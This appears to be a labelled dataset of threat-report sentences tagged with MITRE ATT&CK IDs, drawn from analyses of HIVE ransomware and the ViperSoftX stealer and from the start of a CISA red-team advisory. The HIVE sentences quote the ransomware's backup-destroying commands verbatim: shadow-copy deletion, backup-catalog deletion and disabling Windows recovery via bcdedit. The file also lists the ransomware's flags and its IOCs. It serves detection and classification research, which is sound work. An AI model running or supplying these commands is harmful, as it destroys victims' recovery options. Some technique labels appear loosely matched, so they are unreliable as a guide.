{"sentence": "The other new flags -low-key, --low-key will cause the ransomware to focus on only its encryption of data and not perform pre-encryption tasks, including deleting shadow copies (malicious use of vssadmin.exe, wmic.exe), deleting backup catalogs (malicious use of wbadmin.exe), and disabling Windows Recovery Mode (malicious use of bcdedit.exe).", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "These features give the malicious actor more control over how/when the payload is executed and skirt common methods of command line and parent/child process related detection for most ransomware families.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Fundamentally, the sample’s respective flags distill down into encryption operations of local, mount and discovery.", "labels": ["T1106"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The local module utilizes the LookupPrivilegeValueW and AdjustTokenPrivileges that Windows API calls on its own process via GetCurrentProcess and OpenProcessToken to obtain SeDebugPrivilege privileges.", "labels": ["T1106"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This is presumably crucial for OpenProcess -> OpenProcessToken -> ImpersonateLoggedOnUser API call attempts to processes: winlogon.exe and trustedinstaller.exe to subsequently stop security services and essential processes, if the --low-key is not passed during execution.", "labels": ["T1106"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "ShellExecuteA is also used to launch various Windows binaries (bcdedit.exe, notepad.exe, vssadmin.exe, wbadmin.exe, wmic.exe) for destruction of backups and ransom note display purposes.", "labels": ["T1106"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The mount module will use NetUseEnum to identify the current list of locally-mounted network shares and add them to the list to be encrypted.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Lastly, the discovery module will use NetServerEnum to identify available Windows hosts within the domain/workgroup.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This list is then used with NetShareEnum to identify file shares on each remote host and add them to the list of locations to have their files encrypted.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "By default, all three modes (local, mount and discovery)are enabled, so all local, mounted and shares able to be enumerated will have their contents encrypted.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This effectively ransoms all systems in a victim’s environment with a single execution of HIVE—when performed by a privileged user such as a Domain or Enterprise Admin account.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Command line flags may be used to change this behavior and invoke one or more of the modules.", "labels": ["T1059.003"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "For instance—local-only will use only the local module while—network-only will use the mount and discovery modules.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "FlagDescription-u<username>:<password> for login for hivecust*.onion domain to identify victim-da<domainname>\\<username>:<password> use different credentials when doing network spreading.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Likely shorthand for \"Domain Admin\".", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Calls LogonUserW triggering an 4624(S): Type 3 Network Logon event.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Will then call ImpersonateLoggedOnUser using the token in the response from LogonUserW.-low-key--low-keyEncrypt files and open ransom note, if local filesystem is to be encrypted, but do not spawn other binaries (vssadmin.exe, WMIC.exe, wbadmin.exe, bcdedit.exe) to perform other destructive actions for impact.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Will also skip enumeration and stopping of antivirus software.-no-local--no-localDo not encrypt local files-no-mounted--no-mountedDo not encrypted mounted filesystems-no-discovery--no-discoveryDo not enumerate or encrypt file shares on the network-local-only--local-onlyOnly encrypt local file systems-network-only--network-onlyOnly encrypt file shares on the network.-explicit-only--explicit-onlyOnly encrypt files in this specific path specified-min-size--min-sizeOnly encrypt files greater than or equal to a specific number of bytes-t-timer--timerDo not encrypt files until after specified number of secondsBy default, the ransomware will execute the following child processes with the following arguments:Use of vssadmin.exe in order to delete shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:\"C:\\Windows\\System32\\vssadmin.exe\" delete shadows /all /quietUse of wmic.exe to create calls that also delete all shadow copies of files which deletes unencrypted backups of files they are attempting to ransom:\"C:\\Windows\\System32\\wbem\\WMIC.exe\" shadowcopy deleteUse of wbadmin.exe to delete backup catalogs:\"C:\\Windows\\System32\\wbadmin.exe\" delete systemstatebackup\"C:\\Windows\\System32\\wbadmin.exe\" delete catalog-quiet\"C:\\Windows\\System32\\wbadmin.exe\" delete systemstatebackup -keepVersions:3Use of bcdedit.exe to disable automatic repair and ignore errors when booting:\"C:\\Windows\\System32\\bcdedit.exe\" /set", "labels": ["T1562.001"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "{default} recoveryenabled No\"C:\\Windows\\System32\\bcdedit.exe\" /set {default} bootstatuspolicy ignoreallfailuresLastly, also opening up notepad.exe to display the ransom note with instructions to the victim on how to pay:\"C:\\Windows\\System32\\notepad.exe\" C:\\HOW_TO_DECRYPT.txtRapid7 ProtectionRapid7 has detections in place within InsightIDR through Insight Agent to detect this type of ransomware activity.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "However, since the malicious actor is rebooting into safemode minimal state, endpoint protection software and networking will not be running while the endpoint is executing ransomware.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "So, identifying the actions of a malicious actor before ransomware is deployed is crucial to preventing the attack.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In other words, it is essential to identify malicious actors within the environment and eject them before the ransomware payload is dropped.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The following detections are now available InsightIDR to identify this attacker behavior.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Attacker Technique - Auto Logon Count Set OnceAttacker Technique - Potential Process Hollowing To DLLHostAttacker Technique - Shutdown With Message Used By Malicious ActorsAttacker Technique - URL Passed To BitsAdminLateral Movement - Enable RDP via reg.exeSuspicious Process - BCDEdit Enabling SafebootSuspicious Process - Boot Configuration Data Editor ActivitySuspicious Process - DLLHost With No Arguments Spawns ProcessSuspicious Process - Rundll32.exe With No Arguments Spawns ProcessSuspicious Process - ShadowCopy Delete Passed To WMICSuspicious Process - Volume Shadow Service Delete Shadow CopiesIOC's TypeValueRegistry KeyHKLM\\System\\CurrentControlSet\\Control\\Terminal ServerRegistry ValueType: DWORD Name: fDenyTSConnections", "labels": ["T1055"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Value: 0Filenamerdp.batFilenamefile1.batFilenamefile2.batFilenameint.7zFilenameint64.exeMD589ea20880a6aae021940a8166ff85ee8SHA14af769fb3109c754bc879201c61242217a674a2eSHA256067af912ceddb1ea181490f2b3b5a323efcac61c82207833cda70c21c84460cbFilenameint.exeMD58fba0d57696ccf672ddcea4ba4d0e885SHA131097a7f91d182755fc63ebf023bff54cda5ae9cSHA256184a0f96cef09408b192767b405b0266403c9ec429945c1a78703f04f18c7416IP Address79.137.206[.]47FQDNpaloaltocloud[.]onlineFQDNmaxkey[.]onlineFQDNkeycloud[.]liveFQDNmicrocloud[.]onlineFQDNmicrocloud[.]liveIP Address194.135.24[.]241IP Address179.43.142[.]230IP Address77.73.133[.]80IP Address77.73.134[.]27IP Address77.73.134[.]10MITRE", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "ATT&CKTechniquesT1021 - Remote ServicesT1021.001 -", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Remote Desktop ProtocolT1021.002 - SMB/Windows Admin SharesT1027 - Obfuscated Files Or InformationT1027.009 - Embedded PayloadsT1037 - Boot Or Logon Initialization ScriptsT1037.003 - Network Logon ScriptT1059 - Command And Scripting InterpreterT1059.001 - PowerShellT1059.003 - Windows Command ShellT1070 - Indicator RemovalT1080 - Taint Shared ContentT1105 - Ingress Tool TransferT1112 - Modify RegistryT1135 - Network Share DiscoveryT1136 -", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Create AccountT1136.001 - Local AccountT1140 - Deobfuscate/Decode Files Or InformationT1197 - BITS JobsT1480 - Execution GuardrailsT1484 - Domain Policy ModificationT1484.001 - Group Policy ModificationT1485 - Data DestructionT1486 - Data Encrypted For ImpactT1489 - Service StopT1490 - Inhibit System RecoveryT1529 - System Shutdown/RebootT1547 - Boot Or Logon Autostart ExecutionT1560 - Archive Collected DataT1560.001 -", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Archive Via UtilityT1562 - Impair DefensesT1562.001 - Disable Or Modify ToolsT1562.009 - Safe Mode BootT1570 - Lateral Tool TransferSoftwareS0029 - PSExecS0075 - RegS0190 - BITSAdminS0154 - Cobalt StrikeJakob Denlinger conducted malware analysis for this report.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "ViperSoftX Updates Encryption, Steals Data We observed cryptocurrency and information stealer ViperSoftX evading initial loader detection and making its lure more believable by making the initial package loader via cracks, keygens, activators, and packers non-malicious.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "We also noted more sophisticated encryption and basic anti-analysis techniques, such as byte remapping and web browser communication blocking.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "By: Don Ovid Ladores April 24, 2023Read time: ( words) Save to Folio Subscribe ViperSoftX, a type of information-stealing software, has been primarily reported as focusing on cryptocurrencies, making headlines in 2022 for its execution technique of hiding malicious code inside log files.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Since it was first documented in November, we observed this malware campaign differentiating itself from its previous iteration with the use of DLL sideloading for its arrival and execution technique.", "labels": ["T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "We also noted that this update includes a more sophisticated encryption method of byte remapping and a monthly change in command-and- control (C&C) server.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Without the correct byte map, the encrypted shellcode, including all components and relevant data, cannot be correctly decrypted, making decryption and analysis of the shellcode more time-consuming for analysts.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "We’ve noted a significant number of victims in the consumer and enterprise sectors, with Australia, Japan, and the United States as the top three countries affected by ViperSoftX in the consumer category.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Meanwhile, victim organizations from Southeast Asian countries comprised the enterprise sector.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Top 10 countries affected by ViperSoftX in both the consumer and enterprise sectors Source: Trend Micro™ Smart Protection Network™ (SPN) Arrival routine For majority of cases, ViperSoftX typically arrives as a software crack, an activator or a patcher, or a key generator (keygen).", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "In blocking and detecting these illicit software solutions, we have come to believe that the people behind these kinds of software try to convince users looking for bootleg software versions that these are not malicious and are simply flagged as “false positives.”", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It is also a common gimmick for cybercriminals to pose malware as a keygen or an activator.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Actors behind ViperSoftX take this narrative a step further by using actual non-malicious software to hide and pose as typical illegal software versions.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX uses these files as “carriers” of the main malware encrypted within the overlay.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "While the malicious actors abuse neither definitive software nor target any definitive applications, they commonly use multimedia editors or video format converters, cryptocurrency coinminer apps, phone-related desktop apps, and system cleaner apps.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Through all the samples we analyzed, we consistently observed the following binary carriers: gup.exe from Notepad++ firefox.exe from Tor ErrorReportClient.exe from Magix, a type of multimedia-editing software Figure 2.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Typical arrival package of the malware The malware arrives as a package of the carrier executable and the decryptor/loader DLL, typically downloaded from the websites or torrents of (illegal) software solutions.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "For the most part, the malware is posed as a software activator, patcher, or keygen, among other similar software executables.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The malicious routine starts after the software executables have been included and run in the system.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "We also noticed that ViperSoftX’s primary C&C servers for the second stage download would change on a monthly basis:", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "February: chatgigi2[.]com March: arrowlchat[.]com April: static-cdn-349[.]net Infection routine Figure 3.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Execution flow of ViperSoftX ViperSoftX first checks for a few virtualization strings and monitoring tools to check if the system is running a virtual machine (VM).", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Using WQL command SELECT Manufacturer, Model FROM Win32_ComputerSystem to query ROOT\\CIMV2, it checks for the following strings: VMWare Virtual The malware checks if there are monitoring tools, specifically Process Monitor, running in the current machine with the following strings: procmon procmon64 procmon64a Lastly, ViperSoftX checks for a few installed and active antivirus products, namely: Windows Defender ESET", "labels": ["T1518.001"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "If all checks pass, the malware proceeds to decrypt the PowerShell code and starts downloading the main ViperSoftX routine.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "From there, the routine is its standard multistage download and execution routine.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Execution of the first-stage PowerShell downloader after passing through blacklisting Unique encryption Byte mapping is a considerably simple technique.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It does not require any complex computations, and the only operation it requires is to put the correct byte in the correct location.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "For their part, cybercriminals benefit from this malware as it reduces the presence and actions made by a large graph of objects.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Unlike the typical bitwise operations from typical decryption routines, ViperSoftX uses byte remapping to ensure that the shellcode cannot be easily decrypted without the correct byte map, weaving a cross-stitch template to the palette of 256 (0x100h) bytes.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Though this is a very rigid method of hiding its codes, it provides some level of protection against forced decryption.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Comparison of two ViperSoftX carrier executables with byte remapping.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Note: The bytes of the encrypted section is a specific index on the byte map found in the sideloaded DLL.", "labels": ["T1027", "T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Comparing the mapping of the first four bytes on two samples shows that their offsets within the encrypted region remain the same since they result in a similar shellcode even if they are composed of different bytes per binary.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "When the screenshots of the two carrier executables are compared, the number (or code) changed but the location/offset remains the same.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The same is true for all the other bytes.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "While analysts will see the pattern of the arrangement, it is unlikely that they would be able to decrypt this without the correct sequence of bytes used in the mapping.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "If this pattern is a text or a string, it would not be difficult to apply brute force.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "However, considering this is a byte character (with 256 different bytes) and an assembly code instruction at that, brute-forcing it would unlikely yield correctly decrypted results.", "labels": ["T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "We have also found that each sideloader DLL has its own pair of executable and byte map, and a decryption attempt returns an incorrectly rearranged shellcode if used with another ViperSoftX-related executable.", "labels": ["T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "This ensures that the shellcode will not be decrypted without the correct DLL since the latter contains the correct byte map.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Moreover, all the strings, binaries, and other relevant data within the ViperSoftX DLL also gets decrypted the same way.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Afterward, the shellcode will then decrypt and load the main ViperSoftX DLL embedded within the carrier.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX DLL containing the hard-coded byte map (256 bytes long denoting specific bytes from “0x00” to “0xff”) Figure 7.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The actual bytes of the decrypted shellcode This technique for encryption-decryption is not new but is mostly popular with script malware.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "As of this writing, the most recent piece of malware that uses this technique is the JavaScript- or Windows Scripting File-packed Magniber ransomware.", "labels": ["T1027", "T1059.003"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Considering the former is a type of script malware, however, this technique for encryption-decryption is easily more discernable during analysis because both the encrypted data and the mapping are in the same file.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "In contrast to our ViperSoftX sample, which is a full binary file, the table becomes harder to find.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Furthermore, since the data to be decrypted is in another file, the routine becomes even more difficult to investigate, as analysts would need the correct pair for decryption.", "labels": ["T1140"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Password theft Since it was first documented, ViperSoftX has been known as a cryptocurrency stealer.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "However, we found from our investigations that ViperSoftX can check not only for cryptocurrencies but also for a few password managers.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It also uses some basic anti-C&C analyses by disallowing communications using web browsers.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Response when accessing the C&C via web browsers (top), and modifying the user-agent to access the C&C and return encoded data (bottom)", "labels": ["T1105"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It still downloads a PowerShell code (the main ViperSoftX script) to crawl through different paths in the system for cryptocurrency wallets.", "labels": ["T1083", "T1105"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX scans for these cryptocurrency wallets in local directories: Armory Atomic Wallet Binance Bitcoin Blockstream Green Coinomi Delta Electrum Exodus Guarda Jaxx Liberty Ledger Live Trezor Bridge", "labels": ["T1083"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The malware also checks for the following wallets via browser extensions: Binance Coin98 Coinbase Jaxx Liberty MetaMask Mew CX (now Enkrypt)", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Install browser components: Brave Browser Chrome Firefox Microsoft Edge Opera The updated version of ViperSoftX includes a check mechanism for two password managers, namely KeePass 2 and 1Password.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Noting the malware’s capability to scann KeePass, we looked into the possible abuse of the KeePass security gap CVE-2023-24055, which forces the application to dump stored passwords in plain text (a feature already disabled in recent patches and versions).", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "According to our investigation, although there are low numbers of victims related to the exploit, the said detections do not appear related to ViperSoftX victims.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "PowerShell code searching for the browser link files to inject a command line and load malicious extensions Figure 10.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "scanning browser extensions and directories for wallets and password managers Victims affected: Consumers and businesses alike Due to the nature of its arrival technique, we primarily assumed that the targets and victims would be regular users.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "However, we were surprised to see that the enterprise sector made up over 40% of the total number of victims.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "It is also notable that the leading countries and regions affected by the malware campaign are Australia and Japan with almost the same numbers, while US came at a close third with almost half as much victims at the consumer level.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "On the other hand, the majority of the affected enterprise sector can be found in Asia.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Top 10 countries affected by ViperSoftX malware in the enterprise (top) and consumer (bottom) sectors Source: Trend Micro Smart Protection Network (SPN) Conclusion and insights While other cybercriminals use sideloading to load another non-binary component (usually the encrypted payload, which comes together as a package with the normal executable and the sideloaded DLL), the chosen techniques of the actors behind ViperSoftX (which involve using WMI Query Language (WQL), DLL sideloading/DLL load order hijacking, PowerShell reflective loading, browser hijacking, and C&C protection) are sophisticated.", "labels": ["T1027", "T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The cybercriminals behind ViperSoftX are also skilled enough to execute a seamless chain for malware execution while staying under the radar of authorities by selecting one of the most effective methods for delivering malware to consumers.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Although we have observed some changes throughout their campaigns, the pace of ViperSoftX’s development can be considered slow compared to other types of stealer malware.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The group behind this malware has been doing this for a number of years, and it knows its target systems based on the simultaneous use of techniques to steal cryptocurrencies and passwords.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "In this respect, we believe there are actually at least two groups responsible for this ViperSoftX campaign based on the malware’s C&C communication.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "As the first set of players, the main group is responsible for the deployments.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "On the other hand, considering the monthly change of C&C servers and communication exchange, we believe in the possibility of another group involved based on the different coding or C&C scheme.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "ViperSoftX uses a domain-generating algorithm (DGA) to hide its C&C server and generate useless traffic.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "From the DGA technique, we observed that majority of the activities are dominated by the main group, which utilizes a simple DGA.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "However, there are a number of activities that appear to use a different DGA.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "We do not discount the possibility that these can either be older samples or different operators entirely.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "While ViperSoftX appears to be targeting consumers considering its chosen means for entry, we found it interesting that it also affects the business sector.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "One possible theory behind why businesses are affected by this campaign has to do with recent layoffs and possible budget cuts.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "While some users might be looking to freelance and upend their incomes while in between jobs, others might have been prompted to download tools from unofficial platforms to “save costs” and circumvent tools not found in office-issued devices.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Nonetheless, we strongly recommend that users download the software and applications they need from official platforms.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Cracks and other illegally owned software will only work for certain periods since majority of license verification methods are now done in the cloud.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "If features such as updates to circumvent the replacement of cracks or patches are disabled, users would then be putting their respective systems at greater risk of attacks or infections.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Here are some additional recommendations to prevent the risks of infection from malware types like ViperSoftX: Download software and applications from official platforms and sources.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Instead of downloading illegal software, choose alternative freeware solutions from reputable sources and platforms.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Download security solutions that can detect and block malicious components in seemingly legitimate and non-malicious software and applications.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Trend Micro solutions Trend Micro customers are protected from threats like ViperSoftX with Trend Micro Vision One™, which provides multilayered protection and behavior detection, thereby blocking questionable behavior and tools before a piece of malware can do any damage.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Implementing a multifaceted approach can aid organizations in securing potential entry points into their systems such as endpoint, email, web, and network.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "With the help of security solutions that can identify malevolent elements and questionable activities, enterprises can be safeguarded via automated protection while also ensuring that no significant incidents go unnoticed. Indicators of Compromise (IOCs)", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "The list of IOCs can be downloaded here.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Authors Don Ovid Ladores Threats Analyst", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "SUMMARY The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory (CSA) detailing activity and key findings from a recent CISA red team assessment—in coordination with the assessed organization—to provide network defenders recommendations for improving their organization's cyber posture.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Actions to take today to harden your local environment: Establish a security baseline of normal network activity; tune network and host-based appliances to detect anomalous behavior.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Conduct regular assessments to ensure appropriate procedures are created and can be followed by security staff and end users.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Enforce phishing-resistant MFA to the greatest extent possible.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "In 2022, CISA conducted a red team assessment (RTA) at the request of a large critical infrastructure organization with multiple geographically separated sites.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "The team gained persistent access to the organization’s network, moved laterally across the organization’s multiple geographically separated sites, and eventually gained access to systems adjacent to the organization’s sensitive business systems (SBSs).", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Multifactor authentication (MFA) prompts prevented the team from achieving access to one SBS, and the team was unable to complete its viable plan to compromise a second SBSs within the assessment period.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Despite having a mature cyber posture, the organization did not detect the red team’s activity throughout the assessment, including when the team attempted to trigger a security response.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA is releasing this CSA detailing the red team’s tactics, techniques, and procedures (TTPs) and key findings to provide network defenders of critical infrastructure organizations proactive steps to reduce the threat of similar activity from malicious cyber actors.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "This CSA highlights the importance of collecting and monitoring logs for unusual activity as well as continuous testing and exercises to ensure your organization’s environment is not vulnerable to compromise, regardless of the maturity of its cyber posture.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "CISA encourages critical infrastructure organizations to apply the recommendations in the Mitigations section of this CSA—including conduct regular testing within their security operations center—to ensure security processes and procedures are up to date, effective, and enable timely detection and mitigation of malicious activity.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Download the PDF version of this report: CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks (PDF, 1.06 MB ) TECHNICAL DETAILS Note: This advisory uses the MITRE ATT&CK:registered: for Enterprise framework, version 12.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "See the appendix for a table of the red team’s activity mapped to MITRE ATT&CK tactics and techniques.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "Introduction CISA has authority to, upon request, provide analyses, expertise, and other technical assistance to critical infrastructure owners and operators and provide operational and timely technical assistance to Federal and non-Federal entities with respect to cybersecurity risks.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "(See generally 6 U.S.C. §§ 652[c][5], 659[c][6].)", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "After receiving a request for a red team assessment (RTA) from an organization and coordinating some high-level details of the engagement with certain personnel at the organization, CISA conducted the RTA over a three-month period in 2022.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
{"sentence": "During RTAs, a CISA red team emulates cyber threat actors to assess an organization’s cyber detection and response capabilities.", "labels": [], "doc_title": "CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks"}
